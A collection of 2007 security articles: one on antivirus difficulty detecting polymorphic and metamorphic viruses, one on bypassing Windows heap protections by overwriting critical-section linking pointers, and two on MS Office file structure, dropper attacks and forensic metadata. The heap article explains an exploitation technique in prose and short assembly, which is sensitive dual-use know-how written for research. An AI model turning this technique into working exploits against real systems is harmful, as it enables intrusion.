At one time, the aggregate number of viruses a product detects was considered a useful and popular metric, but this has largely been abandoned in favor of other more useful and scientific measures. Today, an AV company's response time to new threats and the proactive detection that their product offers are both considered more important evaluation criteria. But these criteria often do not consider complex viruses, a different kind of threat. Detecting a complex virus means detecting a threat that is either inherently difficult to detect, or exposes engine limitations that make it difficult to detect. We will start with a few definitions.

A polymorphic virus is a virus that changes its appearance in host programs. For instance, it encrypts its body with a different key each time, and prepends a decryption routine to itself. The decryption routine (known as the "decryptor") is mutated randomly across virus instances, so as to be not easily recognizable.

A metamorphic virus, by comparison, is a virus that also changes its appearance in host programs, however it does so without necessarily depending on encryption. The difference in appearance comes from changes made by the virus to its own body. There are several techniques that can produce such an effect.

One of these morphing techniques used by metamorphic viruses is with the insertion and removal of "garbage" instructions. These are instructions that have no effect on the function of the virus, but simply take up space and which can make analysis more difficult when they appear in large quantities. Another technique is to change the basic encoding of instructions at the opcode level. That is, switching between two different opcodes that are functionally-equivalent.

Perhaps the most complex transformation of a metamorphic virus is the replacement of entire blocks of logic with functionally-equivalent blocks of logic. Consider the task of multiplying x by 3. One expression of this is "3*x". However, an alternative expression is to replace the single multiplication with a repeated addition instead: "x+x+x". Both expressions will result in the same answer, yet they look very different.

An entry-point obscuring ("EPO") virus is a virus that gets control from the host program in an indirect way, rather than straightforwardly through the main entry-point. Typically, it involves patching a variable location in the host program code, perhaps a function prologue or an API call sequence, and redirecting control flow to the virus code from there.

An inherently difficult virus could be a polymorphic Win32 virus whose appearance varies greatly between samples. Regardless of what technology is available to detect the virus, the first hurdle is to analyze and understand the way the virus works, and invent an algorithm capable of detecting all virus replicants. This can be a daunting task, even assuming the ability to write the detection as a standalone program in a language of one's choice.
Determining the threat
Complex viruses do not represent a real threat until they are discovered outside of a laboratory and "in the wild". Herein lies the problem: the difficulty is in defining what it means for a virus to be "in the wild".

The industry definition of a virus "in the wild" is typically a virus that has been seen by at least two independent submitters in at least two different regions. However, this definition overlooks the existence of localized outbreaks, in which one or more companies in a single region might be heavily infected. In that case, a virus might be considered "in the wild" based solely on the number of submissions, but this can be misleading if people submit the same virus sample repeatedly. This also overlooks the case of virus "seeding", in which a virus is placed in a public location, such as the Usenet newsgroups, in the hope that enough people will be tempted to run it -- but no one actually does.

The fact remains that many of the most complex viruses are not especially widespread. If a sample of this virus has not been submitted by a "sufficient" number of outsiders, in a short period of time, it may be considered a "zoo" virus with minimal widespread threat. However, it's important to remember that this level of threat can change at any time.
Examples of "zoo" viruses
Examples of infamous "zoo" viruses include the complex Win32 viruses known as W95/SK (PDF document), W95/Zmist (PDF document), W32/Simile (PDF document), W32/Efish (PDF document) (from the W32/Chiton family), and W95/Perenast. Just mention any of these names to an AV researcher and watch their terror-stricken face. W32/Gobi (PDF document) and W32/Zelly are two of the most recent such brain-teasers. Both are very polymorphic, employing multiple encryption layers and entry-point obscuring.

These examples are all worth a few days (and nights) of work at the least, taking into account reverse-engineering, replicating the virus, and writing the detection signature. It can help a researcher to start writing the detection as a standalone C program before integrating it into one's AV product.
Limitations in AV engine technology
Unfortunately AV researchers do not have the luxury to write standalone programs from scratch to respond to new viruses. Instead they are constrained by a framework imposed by an AV product. The framework may be more or less flexible, and usually comes with a set of constraints that largely determine how efficient a response will be possible.

A comparatively simple virus affecting an emerging platform (say, Win64) may expose AV engine limitations that make it just as hard to detect as a tough Win32 polymorphic virus, in a subjective way -- depending on what AV engine technology is available to respond. Maybe the affected file format is not parsed by the engine, or only incompletely supported. Emulation may or may not be available. These factors greatly influence the ability to detect the virus.

Some of the new viruses that affected the Win64 platform in 2004, and were relatively difficult to detect, included W64/Rugrat (PDF document) (IA64), W64/Shruggle (AMD64), plus some new viruses with MSIL infectors. The corresponding executable file formats are varied, and even the job of picking a simple search string for an immutable virus can turn into a contortionist's exercise if the underlying AV engine lacks support for these file formats.

Naturally, there is the fear of an inherently difficult virus affecting an esoteric or emerging platform like Win64. Such viruses do occasionally surface in zoo collections, to the delight of no one except a virus researcher. Two examples of these new viruses, both released in early 2004, are MSIL/Impanate (PDF) and MSIL/Gastropod (PDF document) - viruses for the Microsoft .NET framework. The first of these, MSIL/Impanate, is an EPO virus. It appends its code to a random method in the file, and rebuilds the host around it. The second of these, MSIL/Gastropod, is a metamorphic virus. Its appearance is altered by the virus intentionally adding and removing "garbage" instructions.
The importance of detecting complex viruses
You may rightfully ask: why does it matter to detect such viruses, if they belong to "zoo" collections? Well, first of all, sometimes they do find their way into the wild. W32/Toal, for instance, a difficult polymorphic worm, was discussed on an emergency virus mailing list after being spotted actively spreading. Some complex viruses currently registered as zoo samples spread aggressively enough that they would stand a chance to infect machines in the real world if some mischievous soul were to release them.

Moreover, even for purely zoo viruses unlikely to ever cause problems in the wild, the response (or lack thereof) of AV companies to such viruses can reveal a lot about limitations in the engine technology available, and perhaps the skill and dedication of the response teams. Some companies provide detection quickly, in a matter of hours or days, while some others finally ship a solution after months of work (or years in some extreme cases, like W95/Zmist!), and yet other companies simply give up.

Besides the speed of response, the quality of detections also varies greatly, as measured by the ability to detect all samples of a polymorphic virus for instance, and doing so with an acceptable false-positive rate. What is an acceptable false-positive rate? While this varies from company to company, usually no more than a handful of false positives would be considered acceptable -- however, there are exceptions to this. One recent example, W32/Zelly, was allowed an enormous (up to 50%) false-negative rate by some anti-virus companies just to be among the first to detect it.

What if your AV company gives up on difficult zoo viruses? It certainly says something about either the flexibility of their technology, or the skill and dedication of their response team. What if tomorrow's Mydoom is heavily polymorphic? Will they be able to respond to it in a timely manner?

If you think it's an unlikely scenario, compare it to the following analogy: if you had to pick a surgeon, would you choose the one who carried out hundreds of successful open-heart surgeries, or the one who only ever did appendectomies? Even for an appendectomy, most would choose the first one.
Conclusion
In this article we've looked as some of the difficulties in detecting complex viruses, by first discussing what they are and why they can be difficult to discover. We then looked at a few examples of "zoo" viruses and how they can uncover limitations in various AV engines. As we have seen, finding complex viruses can be another useful metric in determining which anti-virus technology is best suited to the needs of an organization -- in addition to other common metric such as response time to new threats, and how effective the pro-active detection offered really is.

A new way to bypass Windows heap protections

2007-10-15T23:04:00.000-07:00

Windows heap overflows have become increasingly popular over the last couple of years. Papers like, "Third Generation Exploitation" [ref 1] or, "Windows Heap Overflows" [ref 2] introduced the internal structure and handling mechanisms of Windows heaps, and presented ways to exploit heap-based buffer overflows. Techniques to make highly reliable exploits were presented in the paper, "Reliable Windows Exploits" [ref 3]. Heap exploitation is now mastered for systems such as Windows XP, Windows XP SP1 and Windows 2000.

However, the introduction of Windows 2003 -- and later, Windows XP SP2, brought another level of protection hackers would have to bypass in order to exploit heap overflows on these systems.

In this paper, we'll remind readers of the principles of classic heap overflow exploitation, and explain why these techniques do not work with the newest Windows platforms. Then, we'll present a way to bypass a first level of protection, to trigger a memory overwrite.

A quick overview of Windows heap overflows

A heap is a collection of contiguous chunks of memory, as shown below in Figure 1. When one decides to allocate dynamic memory in a program, the allocation occurs in a heap. Functions like malloc(), GlobalAlloc(), LocalAlloc() or HeapAlloc() are only wrappers of the core function RtlAllocateHeap(); this API, exported by ntdll.dll, is in charge of allocating memory in a heap. Other Rtl*Heap() functions exist as well, to create and destroy heaps, and manipulate chunks.

Figure 1. A heap is a collection of contiguous heap chunks.

Each chunk contains a header (shown in Figure 2), detailing its size, the size of the previous block, if it's busy or not, in which memory segment it is located, and so on. This header is usually 8-byte long, and following it begins the real storage area of the chunk. If the chunk is free, two pointers will be concatenated to this classic header, referencing the previous and next (not necessarily adjacent) free blocks of the same size. These pointers are called FLink and BLink, which respectively stand for "Forward" and "Backward" links.

Figure 2. A regular heap-chunk.

When an overflow occurs in a chunk, the header structure of the next adjacent chunk is overwritten. By forging "malicious" values, a subsequent heap operation can trigger an arbitrary 4-byte memory overwrite. Of course, this is not the result of voodoo magic, but simply the exploitation of a heap mechanism called "unlinking".

Several exploitation scenarios exist; the author will remind readers only of the simplest one. Suppose we overflow the contents of a free block. When this block is allocated, it will be removed from its doubly-linked list; this process takes place in two steps. First, the FLink pointer of the previous chunk will be updated to reference the next chunk; then, the BLink pointer of the next chunk will be updated to reference the previous chunk. This is the unlinking process, which is achieved in two assembly instructions:

 mov [reg1], reg2 ; reg1=FLink
 mov [reg2+4], reg1 ; reg2=BLink

Thus, forging FLink and BLink will lead to a 4-byte memory overwrite. Gaining control is the next step; please see the References section to learn more about this.

Introducing heap protections

These techniques worked well with Windows XP (SP0, SP1) and Windows 2000 operating systems. (Un)fortunately, things changed with the arrival of Windows 2003. Microsoft modified heap management routines and heap structures in order to check the validity of a chunk before allocating or freeing it.

A security cookie was introduced in chunk headers. When the chunk is allocated, this cookie is checked to ensure no overflow has occurred.
Forward and backward link pointers are verified, before the unlinking process happens, for any reason (allocation, coalescence). The same check is performed for virtually allocated blocks. This check is the real obstacle one has to face to exploit a heap overflow.

Others protections have been introduced as well, mainly PEB randomization, and exception pointers encoding. The goal is to minimize the amount of fixed and well-known function pointers, used globally by the process. These locations were priviledged targets to exploit a heap overflow the old way.

The protection was flawed

Unfortunately, the protection was not 100% heap-overflow-proof, as Alexander Anisimov showed at the beginning of 2005.

This first public method to bypass the new heap protections consists of exploiting the inexistent checks on the lookaside list (refer to the paper, "Defeating Windows XP SP2 Heap protection and DEP bypass" [ref 4] if you want to learn more about lookaside lists). The first dword of a lookaside entry is the start of a simply-linked list of chunks, marked as busy, but ready for allocations. When an allocation occurs, the first block of a matching lookaside list may be returned: It is simply removed from the list by replacing the forward link pointer (FLink) in the lookaside entry by the FLink pointer of the newly allocated block. This process is explained in Figure 3.

Figure 3. Allocation of a block A from the lookside table..

This new technique is good in theory, but practically, it is hard to use. The following heap operations must occur, by forging good input values, if we want the N-byte overwrite to happen:

1 -- Allocation of a block of size N (<0x3F8 bytes).
2 -- Freeing of this block: the block gets referenced in the lookaside table.
3 -- The overflow occurs in a previous adjacent block: we can manipulate the FLink pointer of the previously freed block.
4 -- A block of size N is allocated: our fake pointer is written in the lookaside table.
5 -- A second block of size N is allocated: our fake pointer is returned.
6 -- A copy operation from a controlled input to this buffer occurs: these bytes are written to our chosen location.

As you can see, these conditions can be hard to produce in practice, especially in complex programs. The heap must also have an active and unlocked lookaside table for the operation to succeed.

Another way to bypass heap protections

This method presents a way to overwrite at least 4 bytes of memory, by overflowing special structures stored in the process default heap.

The process default heap, as well as others system-created heaps, is used by many Windows APIs to store information concerning the process and its environment. When a dynamically-linked library (DLL) is loaded, its main function is executed (DllMain, or similar) and often, data can get stored on the process heap. What if these pieces of data are overwritten?

The fact that even the simplest program, like Widows Notepad, needs so many libraries to run is particularly interesting. If we examine the default heap, before the main thread even starts to execute, we'll notice that a fair amount of heap chunks have been allocated. A quick look at the default heap reveals that many of these chunks have a length of 40 bytes (including 8 bytes for the header) and have the structure described in Figure 4:

Figure 4. A 40-byte long heap chunk, found in the process default heap.

Where: A is the Address of the next "40-byte long structure". B is the Address of the previous "40-byte long structure".

Note: If you create the process with a debugger, these structures will be 56-bytes long. By default, a heap trailer of 16 bytes is added by the system when the process is created with the "DEBUG_PROCESS" flag.

The first noticeable thing is that A and B play the roles of backward and forward pointers. It also happens that the structure pointed by X is in fact a critical section. When a critical section is initialized, an associated "40-byte long structure" -- we will call it a linking structure -- is also created to keep track of the critical section. A few of these structures are located in the data section of ntdll.dll; when all of them are used, the linking structures are created in the default heap. Figure 5 shows how all critical sections of a process are linked together.

Figure 5. Critical sections and linking structures.

This doubly-linked list reminds us the way free chunks are handled by heap management routines. During the destruction of a critical section, the associated linking structure will be removed from its list. If we replace A and B, we should then be able to overwrite a 4-byte portion of memory. And in fact, we can easily find the code in charge of the unlinking process (with a debugger, just replace A and B by invalid addresses, and destroy the critical section to trigger a memory access violation exception).

The following assembly lines are executed by RtlDeleteCriticalSection (ntdll.dll version 5.1.2600.2180):

 mov [eax], ecx    ; eax=B
 mov [ecx+4], eax  ; ecx=A

These lines probably remind you what we've discussed earlier. And in fact, the principle is the one of classic heap overflow exploitation: if we can't use the chunk pointers anymore, let's use the pointers of another linked list! We are very lucky here because these structures are very common in the process heap, and absolutely no sanity checks are performed on them. Moreover, critical sections are often destroyed during process termination, which ensures that the overwriting will occur.

The upcoming issue: gaining control

Overwriting memory is the first step of heap-based buffer overflows exploitation; the second and third steps are to choose which value (A) and place (B) to overwrite.

The old couples (fixed "CALL" instruction, Exception handler pointer) and (Pointer to payload, PEB function pointer) do not work anymore, mainly because of memory protections introduced with the Service Pack 2 of Windows XP:

Vector exception handlers and the final handler pointers, though located at fixed positions for a given version of kernel32.dll, are no longer useful, because encoded using RtlEncodePointer function of ntdll.dll. The real address is "xor-ed" with a system-generated value, using NtQueryInformationProcess.
The location of the Process Environment Block is randomized, which diminishes the chances of success if we try to overwrite one of its global and often-called function pointers, like AcquireFastPebLock or ReleaseFastPebLock.

These protections were also ported in the Service Pack 1 of Windows 2003 -- Windows 2003 SP0 only implemented heap protections. Therefore, new places remain to be found in order to produce reliable exploits.

Conclusion

The major drawback is that critical sections are often destroyed at process termination, which would force a potential exploiter to crash the program in order to trigger the overwrite. Moreover, the overflow must occur in the process default heap, and a minimal flexibility is required to overwrite a linking structure.

Nonetheless, producing a memory overwrite on the newest Windows systems is possible, and this is the first step towards exploitation of heap overflows.

Proof of concept

The author has provided a proof-of-concept to demonstrate an implementation of his technique.

References

[ref 1] Halvar Flake
"Third Generation Exploitation"
http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt

[ref 2] David Litchfield
"Windows Heap Overflows"
http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt

[ref 3] Matt Conover, Oded Horowitz
"Reliable Windows Exploits"
http://cansecwest.com/csw04/csw04-Oded+Connover.ppt

[ref 4] Alexander Anisimov
"Defeating Windows XP SP2 Heap protection and DEP bypass"
http://www.maxpatrol.com/defeating-xpsp2-heap-protection.pdf

Microsoft Office Security, part two

2007-10-15T22:57:00.000-07:00

1. Continuing from part one
The flood of recent Microsoft Office vulnerabilities has brought forth the need to understand the mechanics of the MS Office security architecture and the possible fault injection points. The first part of this article primarily discussed Microsoft Office's OLE Structured Storage and the nature of recent dropper programs and other exploit agents, in an effort to scrutinize the workings of some of the recent MS Office exploits. Now the second part looks at some forensic investigation avenues with different MS Office features. Parts of the article sample different MS Office vulnerabilities to discuss their nature and the method of exploitation.

2. Avenues for MS Office forensic investigation
During the 'analysis' phase of a forensic investigation involving MS Office files, some features which investigators would fancy are explained below. Known to aid the efficiency of the software, these features can turn out to be excellent sources for information for vital evidence.

2.1 Track Changes turned on (Tools > Track Changes) (Ctrl+Shift+E)

Feature: 'Track Changes' is used in case several revisions are made to the same document by one or more users. It displays all modifications made to the document including any insertions, deletions, changed lines and comments.

Investigator's Interest: If the 'Track Changes' feature is turned on, even after distributing the file (via e-mail, on the local network or through a physical device), by default, the file opens in the 'Track Changes' mode to reveal all changes made. It also shows up with all the comments, if added, by other authors/reviewers of the document along with the name of the author.

2.1.1 Turn off 'Track Changes' (Tools > Options > Security)

Note that for continuity with part one of this article, which had five illustrations, we'll start with Figure 6.

Figure 6. Making hidden markups visible in MS Office 2003.

Note: by default, the 'Make hidden markup visible when opening or saving' option is enabled to refrain the user from accidentally distributing the document with any sensitive information.

This was the procedure for disabling the feature in Word 2003. However, in Word 2002, the markup text can be hidden through the reviewing toolbar as showin in Figures 7 and 8, and it will not show up on opening or saving the file.

Figure 7. Making hidden markups visible in MS Office 2002.

Figure 8. Making hidden markups visible in MS Office 2002.

2.1.2 Deleting a large number of comments in a document

Sometimes, even the comments show up 'as is' when the document is re-opened. These can be hidden as shown above. However, a technique exists for deleting a large number of comments in a document. This can work for MS Word and MS Excel documents. A simple macro can do the trick and rid you from the painful task of deleting each comment manually.

Macro for deleting comments from MS Word: add the following macro to the desired document or document template:

'Function to delete and confirm the deletion of comments
Sub DeleteAllCommentsAndConfirm( )

'Variable Initialization
Dim i As Integer

Dim iNumberOfComments As Integer

If MsgBox( _"Are you sure you want to delete
ALL comments in this document?", _vbYesNo) = vbYes Then

  iNumberOfComments = ActiveDocument.Comments.Count

  For i = iNumberOfComments To 1 Step -1

      ActiveDocument.Comments(i).Delete

  Next i

MsgBox iNumberOfComments & " Comment(s) Deleted", vbInformation

End If

End Sub

2.2 Document sent for review through MS Office applications

Feature: 'Send to Mail Recipient for Review' allows documents to be sent to the default e-mail application. It should be used very carefully as it has the details of the entire document. This is shown below in Figure 9.

Figure 9. Mail recipient option (for review).

Investigator's Interest: If the document is sent through Outlook, when the recipient opens the document and views the file properties (Files > Properties > Custom), entries such as _TentativeReviewCycleID and _ReviewCycleID, _EmailSubject, _AuthorEmail, and _AuthorEmailDisplayName are shown.

The details of this 'Custom' tab are also stored on the recipient's system in a file called 'Adhoc.rcd' or 'Review.rcd' (depending upon the version of MS Office used; it's 'Review.rcd' in the case of Office 2003). They are usually found in the following location: System_Drive>User's_Documents_and_Settings>\Application Data\Microsoft\Office.

The Adhoc.rcd or Review.rcd file typically contains the same information as shown in the Custom Properties tab. The entry reveals the following:

Machine from which the document was sent
Username of the logged in user
E-mail Address
E-mail Subject

For any reason, if the investigator needs to access the email message, he/she can route back to it via the Exchange server or any other convenient technique.

You can avoid this by:

Manually attaching the document to an email
Using any email application other than Outlook

2.3 Recover unseen metadata

Feature: The 'Recover Text From Any File (*.*)' File Open option. This option rips the formatting off the document and displays all the text along with the exhaustive file properties. This is shown below in Figures 10, 11, and 12.

Figure 10. 'Recover Text From Any File (*.*) Option.

Figure 11. Dialogue when file recovered (Select Close).

Figure 12. Sample contents of the recovered file.

Investigator's Interest: An exhaustive listing of the file properties reveals information which may turn out to be crucial evidence, may help build a timeline, or may help make certain deductions during the analysis phase of the forensic investigation.

No known workaround or solution exists to stop an MS Office application from being recovered. We cannot stop MS Office from recording metadata but we can definitely take measures to hide it. Thus when sending any files, one can:

Convert the file to PDF format and retain only necessary information.
Convert the file into Rich Text Format (.rtf) and send it or reconvert it to (.doc) format. Converting to (.rtf) removes all the metadata from the file and retains the formatting. An important note to be made is that this conversion does not remove the revision history of the document.

2.4 'Recently Opened Files' Listing

Feature: This is feature which displays the list of recently opened files. A maximum of nine entries can be displayed:

The listing is shown in the 'File' menu as the last set of entries, or
The listing is shown through the 'Startup Task Pane'

Investigator's Interest: Such a listing undoubtedly serves as a quick reference as to where to begin from and saves the investigator the trouble of going through the metadata of several Office files individually.

Figure 13. Recently opened files listing.

The number of entries in the 'Recently Opened Files' option can be set to 0, as shown below in Figure 14.

Figure 14. Highlighted Entry to be set to '0'.

One can avoid the Task Bar from showing up each time an Office application is opened as well. This is shown below in Figure 15.

Figure 15. 'Startup Task Pane' viewing option to be unchecked.

2.5 MS Office 'SummaryInformation'

The 'Privacy Options' feature is used to secure the document primarily against information disclosure.

The first feature is that it helps secure personal information associated with any document. Personal Information refers to the document details which are written and archived across users and authors of the same document. Its important to understand that 'Personal Information' is not the 'User Information' included in the file as shown in Figure 16:

Figure 16. Sample 'User Information'.

Figure 17. Personal Information: Different author details with 'Track Changes' turned on.

Figure 18. Personal Information: Different author details with 'Track Changes' turned on.

This kind of personal information may be confidential. No one would (even accidentally) like their prospective employer to know who helped them make changes/revisions to their resume nor would anyone like to disclose this to their potential client. Consider the number of revisions made to a price quote before sending the final proposal, as well as knowing who all made the revisions! The following option can save the reader from embarrassment and ensure the security of the document.

Tools > Options

Figure 19. Removing 'Personal Information' from file properties.

There are times when you would like to keep the names of the authors confidential but show the comments and modifications through Track Changes. There is a somewhat tedious way to change the name of the authors/reviewers of the document as shown below:

Step 1: Save the file in rich text format (.rtf) using the 'Save As' option.
Step 2: Open the document in any rich text editor or even Notepad.
Step 3: Look for the string '{\*\revtbl'.
Step 4: The content of the braces following this string has the list of authors/reviewers.

Figure 20. Author Identification with '{\*\revtbl' string.

Figure 21. Entry modification.

Figure 22. Changed entry in MS Word.

The above method shows the list of authors of the document. There are other ways of accessing this information and investigating much more with the help of a file viewing utility called the DocFile View. This utility provides the property set IDs of the OLE Structured Storage and its corresponding values saved in the document's SummaryInformation stream.

Figure 23. SummaryInformation viewed through DocFile View.

Figure 24. Property ID Strings corresponding to PropIDs (courtesy MSDN Website).

The PropID shown in Figure 23 should be mapped with the Property ID hexadecimal value (column 3) in Figure 24. As seen from the screenshots, a forensics investigator may quickly collect important document information like the Author, User and so on who saved the document last, the time and date of the last save, revision number, and more. One may wonder why this procedure is needed when one can simply open the file and visit the 'Properties' sub-menu to access all of the above information. The answer is quite simple. Such tools help the forensic investigator to retrieve all the information without actually opening the file. He can scan a large number of files one after the other to get any evidence.

Note: This method will not prove helpful if the file is in the 'Read Only' mode or if it has been encrypted.

The best way to remove all personal information before sending any document is by using an Add-in from Microsoft which can permanently remove hidden data and collaboration data, such as change tracking and comments, from Microsoft Word, Microsoft Excel, and Microsoft PowerPoint files.

3. Conclusion

Part one of this article looked primarily at the OLE Structured Storage of Microsoft Office documents. Part two looked at forensic avenues that can be used by investigators, post-compromise. Some of the features shown in part two are more appropriate for a proactive approach towards incident response. Usually, forensic investigators do not start the application on the compromised system, they make an image of the disk and begin to investigate the contents using sophisticated tools and techniques.

MS Office overall provides very good security features and recovery options. Some are well-known while others are not. The suggested techniques in this article could be implemented to secure one's written communication. The forensic investigator's perspective was shown to highlight the areas of possible forensic interest. The features highlighted do not play against the user but guide the user to be careful with the documents and set the security options after deciding the confidentiality and sensitivity of the document.

4. References

4.1 Web references

4.2 Selected book references

Andrew Savikas, Word Hacks. O'Reilly, November 2004.
Chris Davis, Aaron Philipp, David Cowen, Hacking Exposed Computer Forensics. McGraw-Hill Professional, November 2004.

5. About the author

Khushbu Jithra, is an Information Developer and Security Researcher at NII Consulting, an Information Security Consulting firm based out of India. She writes at iScribe on her main interest - Information Security Documentation

6. Comments?

The comments section of this article is to be used for technical clarification and discussion only. Submitted comments must have technical merit in order to be approved.

7. Copyright

Microsoft Office Security, part one

2007-10-15T22:54:00.000-07:00

The flood of recent Microsoft Office vulnerabilities has brought forth the need to understand the mechanics of the MS Office security architecture and the possible fault injection points. This article discusses Microsoft Office's OLE Structured Storage and the nature of recent dropper programs and other exploit agents, in an effort to scrutinize the workings of some of the recent MS Office exploits. The second part of this article then collates some forensic investigation avenues through different MS Office features. Parts of the article sample different MS Office vulnerabilities to discuss their nature and the method of exploitation.

1. Overview of recent MS Office vulnerabilities

MS Office vulnerabilities have aroused concerns, particularly for MS Office documents received through e-mail or downloaded from web sites. Some published vulnerabilities allow memory corruption or lead to buffer overflows, whereas others escalate privileges - all leading to compromising the victim's system. An approximate number of vulnerabilities in different MS Office documents against the vulnerability type, calculated at the time of this writing, are shown in the Figure 1 below.

Figure 1. MS Office vulnerability overview. msoff1-thumb.jpg

In the high frequency band of 'Remote Code Execution' vulnerabilities, all the vulnerabilities are of varying risk levels. However these vulnerabilities are the ones that pose the highest risk to systems. Denial of Service and Memory Corruption vulnerabilities, in comparison, pose a medium to high risk to systems.

Vulnerability distribution for different MS Office applications, and collectively for all applications, is shown below in Figure 2. The reader is given this overview of different vulnerabilities affecting MS Excel, MS Word and MS Powerpoint, respectively.

Figure 2. Vulnerability distribution across MS Office applications.

Each bar in Figure 2 represents individual application vulnerabilities, however the MS Office bar is not an aggregate of the three bars. Instead the MS Office bar represents the vulnerabilities which affect all MS Office applications collectively. The following sections will now provide a better understanding of some of these vulnerabilities.

2. OLE Structured Storage

One of the earliest MS Word vulnerabilities this year was exploited with the help of dropper programs embedded in the file structure of a MS Word file. Several vulnerabilities related to malformed images and media objects in MS Office similarly require the understanding of OLE Structured Storage, the MS Office file structure.

In the context of this article, OLE Structured Storage is defined as a systematic organization of components of any MS Office document. Each document has a root component which contains storage and stream components. The OLE Structured Storage is synonymous with the file system structure, such that 'storage' components are equivalent to directories and 'stream' components are equivalent to files, as shown below in Figure 3.

Figure 3. OLE Structured Storage.

A storage component may exist as a standalone component. Each storage component may have one or more sub-storage components and stream components. Also the root component may have stream components directly within it. MS Office 2000 and later versions support two file formats: OLE-binary based and the XML-based. Both are two forms of structured storage with the latter being a more browser-friendly option for storing documents. Figure 4 shows the mapping of the OLE Structured Storage to a sample Word document structure.

2.1 MS Office Documents and its components

Let's take a look at the structure of a Word document with an embedded Excel object, shown below in Figure 4.

Figure 4. Sample Word document storage format.

The 'MS Word' component is the root component containing several streams and one storage item. Different parts of the document such as the actual contents, any table inserted, the CompObj associated with the DLL files for the objects, the Summary Information for the content, any image inserted, and the Document Summary Information, all take the form of streams under the root component. The ObjectPool is the collective storage of all the sub-storage components. The figure samples the sub-storage Excel component. The Excel Sheet itself is a storage component within the ObjectPool and has its own streams of information – the Workbook, SummaryInformation, and DocumentSummaryInformation.

Different MS Office files are structured similarly. Different objects can be embedded into the document and are accessed and updated from their respective stream/storage components. Some COM and OLE vulnerabilities allow for an escalation of privileges and lack proper input filtration, leading to the compromise of systems running MS Office applications.

3. Sample mechanism of an attack

In a common attack scenario, the vulnerability is exploited via a simple insertion of a malformed or malicious object into the document structure. Some MS Excel and MS Word vulnerabilities are affected by such an attack.

Another instance of insertion of malicious objects is the Microsoft Word Malformed Object Pointer Remote Code Execution Vulnerability. This attack is illustrated below in Figure 5.

Figure 5. Exploitation - malformed object pointer vulnerability.

Steps to exploitation:

Step 1: The targeted victim opens the malicious MS Word document via an email attachment or a web page.
Step 2: The malicious storage component (dropper program) within the OLE Structured Storage gets executed as the Word file is opened.
Step 3: The Trojan is dropped on the victim's system.
Step 4: The trojan operates with a backdoor which allows the remote attacker to collect system information, access the command shell and take screen shots and store them to %System%\Capture.bmp.

In the above attack, if we were to break the vulnerability into different stages, the first vulnerable stage is when the attacker was able to draft or create a malicious Word document. The OLE Structured Storage fails to verify the content of the storage components and allows executables like Trojans to be inserted. The second stage is when the victim is lured into opening the malicious MS Word document via an email attachment or by downloading it from a Web page. The third stage is the malformed object pointer, which allows the malicious storage component to get executed as soon as the Word document is opened. Once the seed is planted, the Trojan is put into action. The fourth stage helps the embedded Trojan install a backdoor which can help the remote attacker to execute arbitrary code on the victim's system and eventually compromise it. To understand this further we can investigate the working of dropper programs in the next section of this article.

3.1 Dropper Programs

A dropper is a program that has been designed or modified to "install" standalone malware (such as Trojans, worms, backdoors) onto the target system. The malware code is usually contained in a dropper in such a way that it won't be detected by virus scanners.

A Trojan dropper typically extracts all its files to a temporary folder and executes all of them simultaneously. Dropper programs are seldom caught by any anti-virus programs or vulnerability scanners. This is due to the following reasons:

The dropper programs are not malicious themselves, but contain the code to drop the malicious content onto the victim's system .
In many cases, Trojan droppers contain innocuous multimedia files to hide any malicious activity.
Sometimes the dropper program injects code to overwrite the malicious MS Office document with a clean, fresh copy of the document such that there is no evidence left of the carrier document. Refer to Trojan.PPDropper.B for more information.
At times, Trojan droppers extract components directly to memory and activate them there, making it impossible for anti-virus software to detect dropped malware.

Several other MS Office vulnerabilities have been exploited due to improper input filtration, inadequate string parsing capabilities of the OLE Structured Storage functions, inadequate validation of a stream component variable (causing buffer overflows), memory corruption, and faulty rendering of the OLE Property Sets.

Discussing each vulnerability in detail is out of the scope of this article, but an observation can be made about the vulnerabilities overall. Almost all the vulnerabilities require the target to gauge the nature of the MS Office document before it is opened. This becomes increasingly difficult when anti-virus software is fooled by exploit agents like the dropper programs. Thus, the only solution is to correct the mechanism of the OLE Structured Storage itself.

While many vulnerabilities have been addressed in the Microsoft Security Bulletins, some quick workarounds for different vulnerabilities can also be implemented. These will be discussed in the next section.

4. Consolidated Workarounds

Nearly all workarounds start with warning users to avoid any unsolicited attachments from both known and unknown entities. However, more can be done to save systems from being compromised. There are workarounds provided by Microsoft on different occasions and for different MS Office vulnerabilities which can be used as common guidelines to deal with MS Office documents until updates or patches are released:

Open MS Office documents in 'Safe Mode' - Start Microsoft Office applications (e.g. Word, Excel, PowerPoint) in "safe mode" by holding down the control key when starting them. The user will be asked if he wants to start in safe mode and "safe mode" will appear in the title bar. If one receives an Office document via e-mail that he absolutely must read, save it and open it in the safe mode program rather than double-clicking the attachment in the e-mail program. For more details, refer to MS Office Online Assistance.
Block MS-TNEF (Transport Neutral Encapsulation Format) to help protect against attempts to exploit a vulnerability through SMTP email - Systems can be configured to block certain types of files sent through e-mail. Microsoft TNEF encoded e-mails, commonly known as Rich Text Formatted e-mail, can contain malicious OLE objects. These e-mails contain a file attachment that is usually named Winmail.dat to store the TNEF information. Blocking this file and blocking the application/ms-tnef MIME type could help protect both Exchange Servers and other affected programs from attempts to exploit this vulnerability.

As we all know, the MS Office architecture is very user-friendly and provides good backup and recovery options. It also provides excellent capabilities for reviewing documents in groups and inserting and embedding third-party application objects into MS Office applications. However, these same capabilities give us an interface to several forensic avenues which can turn out to be very useful during a forensic investigation. In the following section we'll conclude this article and then take a look at a preview of part two, which will discuss some of the ways a forensic investigator can look for document information and collect author evidence and view hidden information in MS Office documents.

5. Concluding part one

In the first part of this two-part series, we've taken a very cursory look at some of the security issues within Microsoft Office applications. Recent vulnerabilities and their subsequent exploitation has brought renewed interest in office document security within corporations, government and at home.

6. Preview of part two

Part two of this article will aid investigators with the 'analysis' phase of a forensic investigation. There are a number of features or tools available to help with the forensic process, and these will be discussed in some detail. We'll start with the popular track changes feature, making hidden markups visible in MS Office 2003 and 2002, and provide a script to aid in the deletion of a large number of comments from within a document. Then we'll look at issues when a document is sent through Office's send through e-mail feature with Exchange.

We'll also look at recovering unseen metadata in Office applications, Microsoft's 'SummaryInformation' features, and various ways of deleting personal data from with a document. Stay tuned.

7. References

7.1 Web references

7.2 Selected book references

Andrew Savikas, Word Hacks. O'Reilly, November 2004.
Chris Davis, Aaron Philipp, David Cowen, Hacking Exposed Computer Forensics. McGraw-Hill Professional, November 2004.

8. About the author

9. Comments?

The comments section of this article is to be used for technical clarification and discussion only. Submitted comments must have technical merit in order to be approved.

10. Copyright

